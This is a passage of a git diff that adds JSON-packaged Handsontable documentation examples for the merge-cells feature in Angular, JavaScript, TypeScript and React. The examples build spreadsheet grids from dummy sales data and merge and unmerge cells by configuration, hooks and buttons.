\"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n
    \n
    \n
    \n \n
    \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n mergeNoteRow(): void {\n this.hotTable?.hotInstance?.getPlugin('mergeCells').merge(5, 0, 5, 3);\n }\n\n unmergeNoteRow(): void {\n this.hotTable?.hotInstance?.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example4.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.js.json new file mode 100644 index 00000000..c0903f58 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data,\n height: 320,\n autoColumnSize: {\n allowSampleDuplicates: true,\n samplingRatio: 100,\n },\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n { row: 5, col: 6, rowspan: 3, colspan: 3 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example1.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.ts.json new file mode 100644 index 00000000..aa2065ad --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data: string[][] = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n height: 320,\n autoColumnSize: {\n allowSampleDuplicates: true,\n samplingRatio: 100,\n },\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: [\n { row: 1, col: 1, rowspan: 3, colspan: 3 },\n { row: 3, col: 4, rowspan: 2, colspan: 2 },\n { row: 5, col: 6, rowspan: 3, colspan: 3 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example1.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.js.json new file mode 100644 index 00000000..2fae7016 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · Optimizing rendering of the wide/tall merged cells · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(50) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(500) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data,\n height: 320,\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: {\n virtualized: true,\n cells: [{ row: 1, col: 1, rowspan: 3, colspan: 498 }],\n },\n viewportColumnRenderingOffset: 15,\n viewportColumnRenderingThreshold: 5,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example2.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example2","exampleTitle":"Optimizing rendering of the wide/tall merged cells","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.ts.json new file mode 100644 index 00000000..39808d60 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · Optimizing rendering of the wide/tall merged cells · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data: string[][] = new Array(50) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(500) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data,\n height: 320,\n colWidths: 100,\n rowHeaders: true,\n colHeaders: true,\n contextMenu: true,\n mergeCells: {\n virtualized: true,\n cells: [{ row: 1, col: 1, rowspan: 3, colspan: 498 }],\n },\n viewportColumnRenderingOffset: 15,\n viewportColumnRenderingThreshold: 5,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example2.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example2","exampleTitle":"Optimizing rendering of the wide/tall merged cells","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.js.json new file mode 100644 index 00000000..a2210c19 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst output = document.querySelector('#example3-output');\nlet loggedText = '';\nconst logEvent = (message) => {\n loggedText = `${message}\\n${loggedText}`;\n output.innerText = loggedText;\n};\nnew Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells(cellRange) {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells(cellRange, mergeParent) {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells(cellRange) {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells(cellRange) {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example3.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.ts.json new file mode 100644 index 00000000..12b8972d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\nconst output = document.querySelector('#example3-output') as HTMLElement;\n\nlet loggedText = '';\n\nconst logEvent = (message: string) => {\n loggedText = `${message}\\n${loggedText}`;\n output.innerText = loggedText;\n};\n\nnew Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells(cellRange) {\n logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells(cellRange, mergeParent) {\n logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells(cellRange) {\n logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells(cellRange) {\n logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example3.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.js.json new file mode 100644 index 00000000..d371db44 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst mergeButton = document.querySelector('#example4-merge');\nconst unmergeButton = document.querySelector('#example4-unmerge');\nconst hot = new Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').merge(5, 0, 5, 3);\n});\nunmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example4.js","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.ts.json new file mode 100644 index 00000000..fec7fd93 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst mergeButton = document.querySelector('#example4-merge')!;\nconst unmergeButton = document.querySelector('#example4-unmerge')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ['Note: Q1 totals include a one-time currency adjustment.', null, null, null],\n ],\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').merge(5, 0, 5, 3);\n});\n\nunmergeButton.addEventListener('click', () => {\n hot.getPlugin('mergeCells').unmerge(5, 0, 5, 3);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/merge-cells/javascript/example4.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example4","exampleTitle":"Merge and unmerge cells programmatically","docPermalink":"/merge-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example1.tsx.json new file mode 100644 index 00000000..6537fc84 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Merge cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// generate an array of arrays with dummy data\nconst data = new Array(100) // number of rows\n .fill(null)\n .map((_, row) =>\n new Array(50) // number of columns\n .fill(null)\n .map((_, column) => `${row}, ${column}`)\n );\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/merge-cells/react/example1.tsx","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/merge-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example2.tsx.json new file mode 100644 index 00000000..7a8bd0f4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__merge-cells__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Merge cells · Optimizing rendering of the wide/tall merged cells · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": 